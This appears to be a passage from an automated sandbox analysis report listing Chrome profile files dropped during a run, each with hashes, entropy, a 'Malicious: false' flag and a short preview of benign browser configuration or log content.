Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 3473

Entropy (8bit): 4.884843136744451

Encrypted: false

SSDEEP: 96:6FGX0G70GhIGpyGzRDYLiEHYDBKGzUGaCGjHGESHG/OG6mhM:6Fe0i0sIIyGzRDYLiEHYDBKSUpCQHrSP

MD5: 494384A177157C36E9017D1FFB39F0BF

SHA1: CE5D9754A70CD84CEE77C9180DB92C69715BE105

SHA-256: 07CF0A5189FAD30A4AA721F4F6DA1B15100991115833EACFA1E2DC84A1B54337

SHA-512: BFB80EEC0C0B5D9E487047703BE49826321A4D249422E0C81E978E6C8A310F41C7B4B8F849229BA87484FDF4831DD6A98FF994D0FDA5CE3D341CE615C15F2F1C

Malicious: false

Reputation: low

Preview:
{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[],"expiration":"13248516607497410","port":443,"protocol_str":"quic"}],"isolation":
[],"network_stats":{"srtt":27387},"server":"https://www.gstatic.com","supports_spdy":true},{"alternative_service":[{"advertised_versions":[],"expiration":"1324851660
7334226","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":34287},"server":"https://ssl.gstatic.com","supports_spdy":true},{"alternative_service":[{"adverti
sed_versions":[],"expiration":"13248516607463627","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":31787},"server":"https://fonts.gstatic.com","s
upports_spdy":true},{"alternative_service":[{"advertised_versions":[],"expiration":"13248516607318875","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{
"srtt":23359},"server":"https://apis.google.com","supports_spdy":true},{"alternative_service":[{"advertised_versions":[],"expiration":"13248

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network Persistent Stated4 (copy)
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 2118

Entropy (8bit): 4.869734293992785

Encrypted: false

SSDEEP: 48:Y2zM3qK6qDHGXCtwWsFGSRLsFdRsFZSsFF5sFPyKsFdMHvYhbw:JzMaKxDHGXCObzadaZHFiPAdGAhM

MD5: D424F62675E73C8B494EC971215CB22C

SHA1: 83E6D8AF219D031F6CB0F004FE96B2286587F0B5

SHA-256: A9D6427E69CA8BB42279BB1D1EDE542CB9300941486FD739392FFB82835C3092

SHA-512: 0CF89209CD7D52A0737861C4CAEF96D8A4C3AE74E2D262634F0E52CF0020720384B8AF41F31020A5032EB418ABE9A0D07045174B5D3C0AABEFCCD91420BED94
8

Malicious: false

Reputation: low
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Preview:
{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://dns.google","supports_spdy":true},{"isolation":[],"server":"https://www.googleapis.com","su
pports_spdy":true},{"isolation":[],"server":"https://redirector.gvt1.com","supports_spdy":true},{"isolation":[],"server":"https://fonts.googleapis.com","supports_spdy":true},{"isol
ation":[],"server":"https://ogs.google.com","supports_spdy":true},{"isolation":[],"server":"https://play.google.com","supports_spdy":true},{"isolation":[],"server":"https://apis.go
ogle.com","supports_spdy":true},{"isolation":[],"server":"https://fonts.gstatic.com","supports_spdy":true},{"isolation":[],"server":"https://ssl.gstatic.com","supports_spdy":true},
{"isolation":[],"server":"https://www.gstatic.com","supports_spdy":true},{"alternative_service":[{"advertised_versions":[50],"expiration":"13284923263809941","port":443,"
protocol_str":"quic"}],"isolation":[],"server":"https://accounts.google.com","supports_spdy":true},{"alternative_service

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network Persistent Stated4 (copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Platform Notifications\LOG
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 328

Entropy (8bit): 5.207146378138052

Encrypted: false

SSDEEP: 6:ma7xH+q2Pwkn23iKKdKgXz4rRIFUtB7uFmWZmwP798SNVkwOwkn23iKKdKgXz4qG:J+vYf5KkgXiuFUtwAW/6iV5Jf5KkgX2J

MD5: A5215685EB20587A5792812DC992AB73

SHA1: 5D8A5A81F49ADF762CC64157D953C2B18B8E9AF0

SHA-256: C084C703BC7B43594E5C61176326E1D1ED4023E2EAF6348CDC92851EC4C6478E

SHA-512: F2DC995F675A1A1E80DAAAC52325993EB21B50B69C4A4155B351098FD9900F4792D692E97271C08BDF86AA96EC4BBF010ED9CC1BFFAE266BF0C1CD6F1F3B11
C6

Malicious: false

Reputation: low

Preview:
2021/11/25-17:27:42.505 cc Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Platform Notifications/MANIFEST-000001.2021/11/25-
17:27:42.508 cc Recovering log #3.2021/11/25-17:27:42.509 cc Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Platform Notificati
ons/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Platform Notifications\LOG.old (copy)
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 328

Entropy (8bit): 5.207146378138052

Encrypted: false

SSDEEP: 6:ma7xH+q2Pwkn23iKKdKgXz4rRIFUtB7uFmWZmwP798SNVkwOwkn23iKKdKgXz4qG:J+vYf5KkgXiuFUtwAW/6iV5Jf5KkgX2J

MD5: A5215685EB20587A5792812DC992AB73

SHA1: 5D8A5A81F49ADF762CC64157D953C2B18B8E9AF0

SHA-256: C084C703BC7B43594E5C61176326E1D1ED4023E2EAF6348CDC92851EC4C6478E

SHA-512: F2DC995F675A1A1E80DAAAC52325993EB21B50B69C4A4155B351098FD9900F4792D692E97271C08BDF86AA96EC4BBF010ED9CC1BFFAE266BF0C1CD6F1F3B11
C6

Malicious: false

Reputation: low

Preview:
2021/11/25-17:27:42.505 cc Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Platform Notifications/MANIFEST-000001.2021/11/25-
17:27:42.508 cc Recovering log #3.2021/11/25-17:27:42.509 cc Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Platform Notificati
ons/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Preferences (copy)
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 5822

Entropy (8bit): 5.177587839155974

Encrypted: false

SSDEEP: 96:nELBM9wRlIKIp5k0JCKL87kD1scbOTlVuHn:nELW90I3h4K0kDKU

MD5: 6355AE98A93CA0A4459637E22250A46A

SHA1: B6FC27C85B439265C9EC625F7F3B6660E13FAE4A

SHA-256: A0BB5B8DA1978896558B8982259C1B114C0EAB26AA05BE00CE062CF0EC14DE61

SHA-512: 787C9D5FEAF5C8535BB6123AA3383B221D6EBFC315C70A31541D057A131E50EF91B8B3C2C73FB67272CD20293A604304DE072661ED4355BFC3567ECB01BCA280

Malicious: false

Reputation: low

Preview:
{"account_id_migration_state":2,"account_tracker_service_last_update":"13282331262392320","alternate_error_pages":{"backup":true},"announcement_notification_ser
vice_first_run_time":"13245924509391818","autocomplete":{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"bookmark_bar":{"show_on_al
l_tabs":false},"browser":{"default_browser_infobar_last_declined":"13245924607060180","has_seen_welcome_page":true,"navi_onboard_group":"","should_reset_check_d
efault_browser":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_rig
ht":1280,"work_area_top":0}},"countryid_at_install":21843,"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0"
,"0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","2042016"],"daily_recei
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C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Reporting and NEL
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: SQLite 3.x database, last written using SQLite version 3032001

Category: dropped

Size (bytes): 36864

Entropy (8bit): 0.7557023236291285

Encrypted: false

SSDEEP: 48:TUIopK2rJNVr1GJmm8pF82phrJNVrdHX/cjrJN2yJ1n4n1GmhGU1cEBPb2oTRsdz:wIElwQF8mpcSasPbFyb7/YxBl7w1

MD5: B448F9D05164464DE52A1230F7C5575F

SHA1: 49236DA0B584019FFB1535CE9C6C5FBC62FC7821

SHA-256: D64F31A24DC96A034815BAFC2F2B2E3CD888DB313AD4CB4A0E74E7B2FB83FC77

SHA-512: 59C202DA9C2AAB83292E1C681F4F82C680EC5B61E94C3B13553109B600D78CABF6B5B3D08F379A5E4098B7BAEDEE2B07C355862B3ED66F2FDA3BCCE88D0DB1
45

Malicious: false

Reputation: low

Preview:
SQLite format 3......@  ..........................................................................C..........g...^.........j..............................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences (copy)
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 22602

Entropy (8bit): 5.5358381341109775

Encrypted: false

SSDEEP: 384:Okit0LldtXa1kXqKf/pUZNCgVLH2HfDd1rUUHG6nZTxld4ez84H:1LlXa1kXqKf/pUZNCgVLH2HfjrUYG6nn

MD5: 94C3FF7AB3C5D148FAA8AB2D86ED8620

SHA1: 2AEAC489BAA4D9997BE78F13D3678A0DDEB04193

SHA-256: 2FFB30D89C34B95932B82DD04DD5BB25B785F67998A710810E7A9EFD09442894

SHA-512: 84C7CF280724F74DA9D2915363A39BA1D3A83F9CB5EF792689DB5BE4A45AC2A3547DF1D00B3F5D8D5F30F7ABADBCA27DC5869077AFEC2E2E0277CBA7EAC2E
8EC

Malicious: false

Reputation: low

Preview:
{"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","sy
stem.cpu","system.memory","system.network"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":
[],"from_bookmark":false,"from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"install_time":"13282331261891809","location":5,"manifest":{"a
pp":{"launch":{"web_url":"https://chrome.google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and 
themes for Google Chrome.","icons":{"128":"webstore_icon_128.png","16":"webstore_icon_16.png"},"key":"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCt
l3tO0osjuzRsf6xtD2SKxPlTfuoy7AWoObysitBPvH5fE1NaAA1/2JkPWkVDhdLBWLaIBPYeXbzlHp3y4Vv/4XG+aN5qFE3z+1RU/NqkzVYHtIpVScf3DjTYtKVL66mzVG
ijSoAIwbFCC3LpGdaoe6Q1rSRDp76wR6jjFzsYwQIDAQAB","name":"Web Store","pe

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences.t (copy)
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 19184

Entropy (8bit): 5.569916541949226

Encrypted: false

SSDEEP: 384:Okit0LldtXa1kXqKf/pUZNCgVLH2HfDd1rUUHG7xld4eNV84E:1LlXa1kXqKf/pUZNCgVLH2HfjrUYG7SP

MD5: DF659CBF199940C8DCD073F20B4AF59D

SHA1: 5289A2DE3550DF64E25338BA31BE436284C500A6

SHA-256: 4EDBDA923A97A11C564FBB26A050C26AB83E5E65DC586CC3F7C694C357C674D1

SHA-512: 04437BCD20FB784570572024728103CBF28FB35F6EDF643E10567C7F8E4369B08271DB4E85F6245DE06C053BFC3C8455639B32712053E1BD285A499E27AFB9A5

Malicious: false

Reputation: low

Preview:
{"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","sy
stem.cpu","system.memory","system.network"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":
[],"from_bookmark":false,"from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"install_time":"13282331261891809","location":5,"manifest":{"a
pp":{"launch":{"web_url":"https://chrome.google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and 
themes for Google Chrome.","icons":{"128":"webstore_icon_128.png","16":"webstore_icon_16.png"},"key":"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCt
l3tO0osjuzRsf6xtD2SKxPlTfuoy7AWoObysitBPvH5fE1NaAA1/2JkPWkVDhdLBWLaIBPYeXbzlHp3y4Vv/4XG+aN5qFE3z+1RU/NqkzVYHtIpVScf3DjTYtKVL66mzVG
ijSoAIwbFCC3LpGdaoe6Q1rSRDp76wR6jjFzsYwQIDAQAB","name":"Web Store","pe

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Secure Preferencess. (copy)
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with very long lines, with no line terminators
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Category: dropped

Size (bytes): 17092

Entropy (8bit): 5.582661303351222

Encrypted: false

SSDEEP: 384:Okit0LldtXa1kXqKf/pUZNCgVLH2HfDd1rUDxld4eVV843:1LlXa1kXqKf/pUZNCgVLH2HfjrUDSeVb

MD5: 355AA57BF2E2D6FA5062282C69284F78

SHA1: 8E28DCA2371C49591AAA20023E1542B83F38469C

SHA-256: 1B0842A720AF2A8B4FD7B18DDCC2A7159BDCBFFFC887DAEC62AB4EABE1609969

SHA-512: 731EA6E0F892B1D1E970149E0CD8968C7DB51738A500721E9299B98ED259EDB7A442C067FAA6FAF6C44207EA516E2A3899622657D633764BA9DAE9F7BD231C66

Malicious: false

Reputation: low

Preview:
{"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","sy
stem.cpu","system.memory","system.network"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":
[],"from_bookmark":false,"from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"install_time":"13282331261891809","location":5,"manifest":{"a
pp":{"launch":{"web_url":"https://chrome.google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and 
themes for Google Chrome.","icons":{"128":"webstore_icon_128.png","16":"webstore_icon_16.png"},"key":"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCt
l3tO0osjuzRsf6xtD2SKxPlTfuoy7AWoObysitBPvH5fE1NaAA1/2JkPWkVDhdLBWLaIBPYeXbzlHp3y4Vv/4XG+aN5qFE3z+1RU/NqkzVYHtIpVScf3DjTYtKVL66mzVG
ijSoAIwbFCC3LpGdaoe6Q1rSRDp76wR6jjFzsYwQIDAQAB","name":"Web Store","pe

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Secure Preferencess. (copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Secure Preferencest (copy)
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 19185

Entropy (8bit): 5.569842513426494

Encrypted: false

SSDEEP: 384:Okit0LldtXa1kXqKf/pUZNCgVLH2HfDd1rUUHGMxld4eCV84p:1LlXa1kXqKf/pUZNCgVLH2HfjrUYGMSB

MD5: 8C71D302C4CE74322F1FAECDA8A78E10

SHA1: A45A6D99FB23A0AFFDDAC0DF9538A4952A2856AC

SHA-256: 2A0761880523C76DAD1907730EAED1794F7E298A50A6B2F75870C2BB8CD1CC7A

SHA-512: 40750EAA2BCA0A4D3685EA22F344F0319E65F8BD73604A3F9A2CE6EB686800241DFBEE29EC580F91DFFFEF4FBD16C42A78CE9AA389A980800E0F02B17BBA71
E0

Malicious: false

Reputation: low

Preview:
{"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","sy
stem.cpu","system.memory","system.network"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":
[],"from_bookmark":false,"from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"install_time":"13282331261891809","location":5,"manifest":{"a
pp":{"launch":{"web_url":"https://chrome.google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and 
themes for Google Chrome.","icons":{"128":"webstore_icon_128.png","16":"webstore_icon_16.png"},"key":"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCt
l3tO0osjuzRsf6xtD2SKxPlTfuoy7AWoObysitBPvH5fE1NaAA1/2JkPWkVDhdLBWLaIBPYeXbzlHp3y4Vv/4XG+aN5qFE3z+1RU/NqkzVYHtIpVScf3DjTYtKVL66mzVG
ijSoAIwbFCC3LpGdaoe6Q1rSRDp76wR6jjFzsYwQIDAQAB","name":"Web Store","pe

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage\000003.log
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 422

Entropy (8bit): 2.4374501374561586

Encrypted: false

SSDEEP: 12:S+a8ljljljljljljljljljljljljljljljljljljljl:Ra0ZZZZZZZZZZZZZZZZZZZ

MD5: B453AF4D9092A27EFD15ADDBD60AA45B

SHA1: 2756622CDAD7E6C3CF420C8CE310D6CF74D69EF4

SHA-256: 3B29EF19B6DE76E245373F101D096D66DBBB86090065A09EA401103EA35C0EA5

SHA-512: 38A1B8CBF3A18D3ABC062632449F05DCF291AB93B2BADB771ED621ECB74140517372952A54A50104BD39F83C255A69E6D91C523716680C435809BD83C65C31D3

Malicious: false

Reputation: low

Preview:
*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f.................&f.................&f.................&f.................&f.................&f.................&f....
.............&f.................&f.................&f.................&f.................&f.................&f.................&f.................&f.................&f...............

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage\LOG
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 320

Entropy (8bit): 5.205964278355126

Encrypted: false
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SSDEEP: 6:ma7pF04q2Pwkn23iKKdKrQMxIFUtB7jJZmwP7nDkwOwkn23iKKdKrQMFLJ:FFjvYf5KkCFUtL/f5Jf5KktJ

MD5: 6AACD441ED2B37EFE13B751A09199581

SHA1: 3B419BC16168B7A1D725CB1E50A1FF80FD74C1B2

SHA-256: A502D48C6D3EDAACF2230C525466F48E3F14546F05876F4456AEE5AEDCCCF71F

SHA-512: 04CAD229D1DDE07422B531B1BBF3378C5010005BD46CCF6C76FC3B959BD79C81ED9A392DF366CA2AA9FF6C77D6A7356AD781DC714FF4E61E6026964DD6D93F5
D

Malicious: false

Reputation: low

Preview:
2021/11/25-17:27:42.394 1b80 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage/MANIFEST-000001.2021/11/25-1
7:27:42.395 1b80 Recovering log #3.2021/11/25-17:27:42.377 1b80 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session St
orage/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage\LOG

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage\LOG.old (copy)
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 320

Entropy (8bit): 5.205964278355126

Encrypted: false

SSDEEP: 6:ma7pF04q2Pwkn23iKKdKrQMxIFUtB7jJZmwP7nDkwOwkn23iKKdKrQMFLJ:FFjvYf5KkCFUtL/f5Jf5KktJ

MD5: 6AACD441ED2B37EFE13B751A09199581

SHA1: 3B419BC16168B7A1D725CB1E50A1FF80FD74C1B2

SHA-256: A502D48C6D3EDAACF2230C525466F48E3F14546F05876F4456AEE5AEDCCCF71F

SHA-512: 04CAD229D1DDE07422B531B1BBF3378C5010005BD46CCF6C76FC3B959BD79C81ED9A392DF366CA2AA9FF6C77D6A7356AD781DC714FF4E61E6026964DD6D93F5
D

Malicious: false

Reputation: low

Preview:
2021/11/25-17:27:42.394 1b80 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage/MANIFEST-000001.2021/11/25-1
7:27:42.395 1b80 Recovering log #3.2021/11/25-17:27:42.377 1b80 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session St
orage/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\LOG
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 348

Entropy (8bit): 5.21301501680846

Encrypted: false

SSDEEP: 6:ma7Nt+q2Pwkn23iKKdK7Uh2ghZIFUtB7KZmwP7iVkwOwkn23iKKdK7Uh2gnLJ:ZovYf5KkIhHh2FUtk/m5Jf5KkIhHLJ

MD5: 959C831E62B3C7EA4F230D96BED50F88

SHA1: 1A7FDDAB442DDB64C9488E88E2BEA481F8B6C67F

SHA-256: 8630AE915077C2F18C988E3CE432B727710E928977BA0C02672ABD8672416E53

SHA-512: CE7F886315593F9EEBD878AEBBCD44D56C9BF47BA2FA3E21EB64264B53F1D4516FEB542FDB67FD92BDA4E56CE475AE8E077715281B0D60E2207A86BAA97681
2D

Malicious: false

Reputation: low

Preview:
2021/11/25-17:27:41.893 1b48 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database/MANIFEST-00000
1.2021/11/25-17:27:41.902 1b48 Recovering log #3.2021/11/25-17:27:41.906 1b48 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site C
haracteristics Database/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\LOG.oldnf (copy)
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 348

Entropy (8bit): 5.21301501680846

Encrypted: false

SSDEEP: 6:ma7Nt+q2Pwkn23iKKdK7Uh2ghZIFUtB7KZmwP7iVkwOwkn23iKKdK7Uh2gnLJ:ZovYf5KkIhHh2FUtk/m5Jf5KkIhHLJ

MD5: 959C831E62B3C7EA4F230D96BED50F88

SHA1: 1A7FDDAB442DDB64C9488E88E2BEA481F8B6C67F

SHA-256: 8630AE915077C2F18C988E3CE432B727710E928977BA0C02672ABD8672416E53

SHA-512: CE7F886315593F9EEBD878AEBBCD44D56C9BF47BA2FA3E21EB64264B53F1D4516FEB542FDB67FD92BDA4E56CE475AE8E077715281B0D60E2207A86BAA97681
2D

Malicious: false

Reputation: low
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Preview:
2021/11/25-17:27:41.893 1b48 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database/MANIFEST-00000
1.2021/11/25-17:27:41.902 1b48 Recovering log #3.2021/11/25-17:27:41.906 1b48 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site C
haracteristics Database/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\LOG.oldnf (copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\8c10fba9-ea69-466e-a3a5-4498aae
9a7ad.tmp
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 325

Entropy (8bit): 4.971623449303805

Encrypted: false

SSDEEP: 6:YHpoNXR8+eq7JdV5p7DHJShsDHF4R8HLJ2AVQBR70S7PMVKJw1K3KnMRK3VY:YHO8sdHfHYhsBdLJlyH7E4f3K33y

MD5: 8CA9278965B437DFC789E755E4C61B82

SHA1: 5776B6C90CA1D2DDC765ED673B5E6DC8E167F0D6

SHA-256: A57D9231244C1FBDE58A1BF50CAD3A1E3EA28D042BFA272782B65139446E7C51

SHA-512: 3065FE0743AD88E02F8C8FF6CF03B832B616DD08061EAE25A5106422228D45EB999EE2CBE4E9C96D5FFC108CB817766240E27BF97E3E5C2A58081D369E2968F8

Malicious: false

Reputation: low

Preview:
{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[50],"expiration":"13248516514667526","port":443,"protocol_str":"quic"}],"isol
ation":[],"server":"https://dns.google","supports_spdy":true}],"version":5},"network_qualities":{"CAASABiAgICA+P////8B":"4G","CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\GPUCache\data_1
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 270336

Entropy (8bit): 0.0012471779557650352

Encrypted: false

SSDEEP: 3:MsEllllkEthXllkl2zE:/M/xT02z

MD5: F50F89A0A91564D0B8A211F8921AA7DE

SHA1: 112403A17DD69D5B9018B8CEDE023CB3B54EAB7D

SHA-256: B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC

SHA-512: BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D
58

Malicious: false

Reputation: low

Preview:
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Local Storage\leveldb\LOG
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 430

Entropy (8bit): 5.26729050545984

Encrypted: false

SSDEEP: 6:ma7OCq2Pwkn23iKKdKusNpV/2jMGIFUtB73TZmwP7MbFkwOwkn23iKKdKusNpV/s:BvYf5KkFFUth/obF5Jf5KkOJ

MD5: B3DE8814ED8FA08E6DCE24FBDF41DEB2

SHA1: 246B8B2775112959343F0BFFCAC9EA49E0C28899

SHA-256: 362A9B7D3A00DD7F4F19157497CEB72DECFF50385026467C02C27BA94B6ACB0E

SHA-512: E15692BEBC8258AD2D68945729CCAE9CE6107BF04D1E8D4CA885961F9E78230D9EE364927471777741B29B6929718D382FA67A888534720A35AC66BAA8CD492D

Malicious: false

Reputation: low

Preview:
2021/11/25-17:27:42.414 1584 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl
\def\Local Storage\leveldb/MANIFEST-000001.2021/11/25-17:27:42.415 1584 Recovering log #3.2021/11/25-17:27:42.416 1584 Reusing old log C:\Users\user\A
ppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Local Storage\leveldb\LOG.old (
copy)
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped
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Size (bytes): 430

Entropy (8bit): 5.26729050545984

Encrypted: false

SSDEEP: 6:ma7OCq2Pwkn23iKKdKusNpV/2jMGIFUtB73TZmwP7MbFkwOwkn23iKKdKusNpV/s:BvYf5KkFFUth/obF5Jf5KkOJ

MD5: B3DE8814ED8FA08E6DCE24FBDF41DEB2

SHA1: 246B8B2775112959343F0BFFCAC9EA49E0C28899

SHA-256: 362A9B7D3A00DD7F4F19157497CEB72DECFF50385026467C02C27BA94B6ACB0E

SHA-512: E15692BEBC8258AD2D68945729CCAE9CE6107BF04D1E8D4CA885961F9E78230D9EE364927471777741B29B6929718D382FA67A888534720A35AC66BAA8CD492D

Malicious: false

Reputation: low

Preview:
2021/11/25-17:27:42.414 1584 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl
\def\Local Storage\leveldb/MANIFEST-000001.2021/11/25-17:27:42.415 1584 Recovering log #3.2021/11/25-17:27:42.416 1584 Reusing old log C:\Users\user\A
ppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Local Storage\leveldb\LOG.old (
copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Network Persistent State (copy)
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 325

Entropy (8bit): 4.971623449303805

Encrypted: false

SSDEEP: 6:YHpoNXR8+eq7JdV5p7DHJShsDHF4R8HLJ2AVQBR70S7PMVKJw1K3KnMRK3VY:YHO8sdHfHYhsBdLJlyH7E4f3K33y

MD5: 8CA9278965B437DFC789E755E4C61B82

SHA1: 5776B6C90CA1D2DDC765ED673B5E6DC8E167F0D6

SHA-256: A57D9231244C1FBDE58A1BF50CAD3A1E3EA28D042BFA272782B65139446E7C51

SHA-512: 3065FE0743AD88E02F8C8FF6CF03B832B616DD08061EAE25A5106422228D45EB999EE2CBE4E9C96D5FFC108CB817766240E27BF97E3E5C2A58081D369E2968F8

Malicious: false

Reputation: low

Preview:
